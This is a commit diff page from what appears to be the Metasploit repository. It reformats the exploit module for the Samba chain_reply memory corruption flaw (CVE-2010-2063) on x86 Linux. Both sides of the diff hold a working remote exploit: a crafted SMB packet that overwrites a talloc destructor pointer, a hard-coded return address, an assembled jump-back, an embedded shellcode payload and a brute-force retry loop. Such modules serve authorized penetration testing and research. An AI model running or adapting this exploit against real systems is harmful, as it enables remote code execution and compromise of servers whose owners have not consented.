Skip to content

Commit 91d3675

Browse files
committed
modules/exploits/linux/samba: Resolve RuboCop violations
1 parent b39d45c commit 91d3675

File tree

5 files changed

+627
-622
lines changed

5 files changed

+627
-622
lines changed

modules/exploits/linux/samba/chain_reply.rb

Lines changed: 109 additions & 107 deletions
Original file line numberDiff line numberDiff line change
@@ -10,83 +10,90 @@ class MetasploitModule < Msf::Exploit::Remote
1010
include Msf::Exploit::Brute
1111

1212
def initialize(info = {})
13-
super(update_info(info,
14-
'Name' => 'Samba chain_reply Memory Corruption (Linux x86)',
15-
'Description' => %q{
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'Samba chain_reply Memory Corruption (Linux x86)',
17+
'Description' => %q{
1618
This exploits a memory corruption vulnerability present in Samba versions
17-
prior to 3.3.13. When handling chained response packets, Samba fails to validate
18-
the offset value used when building the next part. By setting this value to a
19-
number larger than the destination buffer size, an attacker can corrupt memory.
20-
Additionally, setting this value to a value smaller than 'smb_wct' (0x24) will
21-
cause the header of the input buffer chunk to be corrupted.
22-
23-
After close inspection, it appears that 3.0.x versions of Samba are not
24-
exploitable. Since they use an "InputBuffer" size of 0x20441, an attacker cannot
25-
cause memory to be corrupted in an exploitable way. It is possible to corrupt the
26-
heap header of the "InputBuffer", but it didn't seem possible to get the chunk
27-
to be processed again prior to process exit.
28-
29-
In order to gain code execution, this exploit attempts to overwrite a "talloc
30-
chunk" destructor function pointer.
31-
32-
This particular module is capable of exploiting the flaw on x86 Linux systems
33-
that do not have the nx memory protection.
34-
35-
NOTE: It is possible to make exploitation attempts indefinitely since Samba forks
36-
for user sessions in the default configuration.
37-
},
38-
'Author' =>
39-
[
40-
'Jun Mao', #Initial discovery
19+
prior to 3.3.13. When handling chained response packets, Samba fails to validate
20+
the offset value used when building the next part. By setting this value to a
21+
number larger than the destination buffer size, an attacker can corrupt memory.
22+
Additionally, setting this value to a value smaller than 'smb_wct' (0x24) will
23+
cause the header of the input buffer chunk to be corrupted.
24+
25+
After close inspection, it appears that 3.0.x versions of Samba are not
26+
exploitable. Since they use an "InputBuffer" size of 0x20441, an attacker cannot
27+
cause memory to be corrupted in an exploitable way. It is possible to corrupt the
28+
heap header of the "InputBuffer", but it didn't seem possible to get the chunk
29+
to be processed again prior to process exit.
30+
31+
In order to gain code execution, this exploit attempts to overwrite a "talloc
32+
chunk" destructor function pointer.
33+
34+
This particular module is capable of exploiting the flaw on x86 Linux systems
35+
that do not have the nx memory protection.
36+
37+
NOTE: It is possible to make exploitation attempts indefinitely since Samba forks
38+
for user sessions in the default configuration.
39+
},
40+
'Author' => [
41+
'Jun Mao', # Initial discovery
4142
'jduck'
4243
],
43-
'License' => MSF_LICENSE,
44-
'References' =>
45-
[
44+
'License' => MSF_LICENSE,
45+
'References' => [
4646
[ 'CVE', '2010-2063' ],
4747
[ 'OSVDB', '65518' ],
4848
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=873' ]
4949
],
50-
'Privileged' => true,
51-
'Payload' =>
52-
{
53-
'Space' => 0x600,
54-
'BadChars' => "",
50+
'Privileged' => true,
51+
'Payload' => {
52+
'Space' => 0x600,
53+
'BadChars' => ''
5554
},
56-
'Platform' => 'linux',
57-
'Targets' =>
58-
[
59-
[ 'Linux (Debian5 3.2.5-4lenny6)',
55+
'Platform' => 'linux',
56+
'Targets' => [
57+
[
58+
'Linux (Debian5 3.2.5-4lenny6)',
6059
{
61-
'Offset2' => 0x1fec,
62-
'Bruteforce' =>
60+
'Offset2' => 0x1fec,
61+
'Bruteforce' =>
6362
{
6463
'Start' => { 'Ret' => 0x081ed5f2 }, # jmp ecx (smbd bin)
65-
'Stop' => { 'Ret' => 0x081ed5f2 },
66-
'Step' => 0x300 # not used
64+
'Stop' => { 'Ret' => 0x081ed5f2 },
65+
'Step' => 0x300 # not used
6766
}
6867
}
6968
],
70-
71-
[ 'Debugging Target',
69+
[
70+
'Debugging Target',
7271
{
73-
'Offset2' => 0x1fec,
74-
'Bruteforce' =>
72+
'Offset2' => 0x1fec,
73+
'Bruteforce' =>
7574
{
7675
'Start' => { 'Ret' => 0xAABBCCDD },
77-
'Stop' => { 'Ret' => 0xAABBCCDD },
78-
'Step' => 0x300
76+
'Stop' => { 'Ret' => 0xAABBCCDD },
77+
'Step' => 0x300
7978
}
8079
}
8180
],
8281
],
83-
'DefaultTarget' => 0,
84-
'DisclosureDate' => '2010-06-16'))
82+
'DefaultTarget' => 0,
83+
'DisclosureDate' => '2010-06-16',
84+
'Notes' => {
85+
'Stability' => [CRASH_SERVICE_RESTARTS],
86+
'SideEffects' => [IOC_IN_LOGS],
87+
'Reliability' => [UNRELIABLE_SESSION]
88+
}
89+
)
90+
)
8591

8692
register_options(
8793
[
8894
Opt::RPORT(139)
89-
])
95+
]
96+
)
9097

9198
deregister_options('SMB::ProtocolVersion')
9299
end
@@ -97,11 +104,10 @@ def initialize(info = {})
97104
# Authenticate using clear-text passwords
98105
#
99106
def session_setup_clear_ignore_response(user = '', pass = '', domain = '')
100-
101-
data = [ pass, user, domain, self.simple.client.native_os, self.simple.client.native_lm ].collect{ |a| a + "\x00" }.join('');
107+
data = [ pass, user, domain, simple.client.native_os, simple.client.native_lm ].collect { |a| a + "\x00" }.join('')
102108

103109
pkt = CONST::SMB_SETUP_LANMAN_PKT.make_struct
104-
self.simple.client.smb_defaults(pkt['Payload']['SMB'])
110+
simple.client.smb_defaults(pkt['Payload']['SMB'])
105111

106112
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
107113
pkt['Payload']['SMB'].v['Flags1'] = 0x18
@@ -113,101 +119,97 @@ def session_setup_clear_ignore_response(user = '', pass = '', domain = '')
113119
pkt['Payload'].v['VCNum'] = 1
114120
pkt['Payload'].v['PasswordLen'] = pass.length + 1
115121
pkt['Payload'].v['Capabilities'] = 64
116-
pkt['Payload'].v['SessionKey'] = self.simple.client.session_id
122+
pkt['Payload'].v['SessionKey'] = simple.client.session_id
117123
pkt['Payload'].v['Payload'] = data
118124

119-
self.simple.client.smb_send(pkt.to_s)
120-
ack = self.simple.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true)
125+
simple.client.smb_send(pkt.to_s)
126+
simple.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true)
121127
end
122128

123-
124129
def brute_exploit(addrs)
125-
126130
curr_ret = addrs['Ret']
127131

128132
# Although ecx always points at our buffer, sometimes the heap data gets modified
129133
# and nips off the final byte of our 5 byte jump :(
130134
#
131135
# Solution: try repeatedly until we win.
132136
#
133-
50.times{
134-
137+
50.times do
135138
begin
136-
print_status("Trying return address 0x%.8x..." % curr_ret)
139+
print_status('Trying return address 0x%.8x...' % curr_ret)
137140

138141
connect(versions: [1])
139-
self.simple.client.session_id = rand(31337)
142+
simple.client.session_id = rand(31337)
140143

141-
#select(nil,nil,nil,2)
142-
#puts "press any key"; $stdin.gets
144+
# select(nil,nil,nil,2)
145+
# puts "press any key"; $stdin.gets
143146

144147
#
145148
# This allows us to allocate a talloc_chunk after the input buffer.
146149
# If doing so fails, we are lost ...
147150
#
148-
10.times {
151+
10.times do
149152
session_setup_clear_ignore_response('', '', '')
150-
}
153+
end
151154

152155
# We re-use a pointer from the stack and jump back to our original "inbuf"
153156
distance = target['Offset2'] - 0x80
154157
jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{distance}").encode_string
155158

156159
tlen = 0xc00
157160
trans =
158-
"\x00\x04" +
159-
"\x08\x20" +
160-
"\xff"+"SMB"+
161+
"\x00\x04" \
162+
"\x08\x20" \
163+
"\xff" + 'SMB' +
161164
# SMBlogoffX
162165
[0x74].pack('V') +
163166
# tc->next, tc->prev
164167
jmp_back + ("\x42" * 3) +
165-
#("A" * 4) + ("B" * 4) +
168+
# ("A" * 4) + ("B" * 4) +
166169
# tc->parent, tc->child
167-
"CCCCDDDD" +
170+
'CCCCDDDD' +
168171
# tc->refs, must be zero
169172
("\x00" * 4) +
170173
# over writes tc->destructor
171174
[addrs['Ret']].pack('V') +
172-
"\x00\x00\x00\x00"+
173-
"\xd0\x07\x0c\x00"+
174-
"\xd0\x07\x0c\x00"+
175-
"\x00\x00\x00\x00"+
176-
"\x00\x00\x00\x00"+
177-
"\x00\x00\xd0\x07"+
178-
"\x43\x00\x0c\x00"+
179-
"\x14\x08\x01\x00"+
180-
"\x00\x00\x00\x00"+
181-
"\x00\x00\x00\x00"+
182-
"\x00\x00\x00\x00"+
183-
"\x00\x00\x00\x00"+
184-
"\x00\x00\x00\x00"+
185-
"\x00\x00\x00\x00"+
186-
"\x00\x00\x00\x00"+
175+
"\x00\x00\x00\x00" \
176+
"\xd0\x07\x0c\x00" \
177+
"\xd0\x07\x0c\x00" \
178+
"\x00\x00\x00\x00" \
179+
"\x00\x00\x00\x00" \
180+
"\x00\x00\xd0\x07" \
181+
"\x43\x00\x0c\x00" \
182+
"\x14\x08\x01\x00" \
183+
"\x00\x00\x00\x00" \
184+
"\x00\x00\x00\x00" \
185+
"\x00\x00\x00\x00" \
186+
"\x00\x00\x00\x00" \
187+
"\x00\x00\x00\x00" \
188+
"\x00\x00\x00\x00" \
189+
"\x00\x00\x00\x00" \
187190
"\x00\x00\x90"
188191

189-
# We put the shellcode first, since only part of this packet makes it into memory.
190-
trans << payload.encoded
191-
trans << rand_text(tlen - trans.length)
192+
# We put the shellcode first, since only part of this packet makes it into memory.
193+
trans << payload.encoded
194+
trans << rand_text(tlen - trans.length)
192195

193-
# Set what eventually becomes 'smb_off2' to our unvalidated offset value.
194-
smb_off2 = target['Offset2']
195-
trans[39,2] = [smb_off2].pack('v')
196+
# Set what eventually becomes 'smb_off2' to our unvalidated offset value.
197+
smb_off2 = target['Offset2']
198+
trans[39, 2] = [smb_off2].pack('v')
196199

197-
sock.put(trans)
198-
199-
rescue EOFError
200-
# nothing
201-
rescue => e
202-
print_error("#{e}")
203-
end
200+
sock.put(trans)
201+
rescue EOFError => e
202+
vprint_error(e.message)
203+
rescue StandardError => e
204+
print_error(e.to_s)
205+
end
204206

205-
handler
206-
disconnect
207+
handler
208+
disconnect
207209

208-
# See if we won yet..
209-
select(nil,nil,nil, 1)
210-
break if session_created?
211-
}
210+
# See if we won yet..
211+
select(nil, nil, nil, 1)
212+
break if session_created?
213+
end
212214
end
213215
end

0 commit comments

Comments
 (0)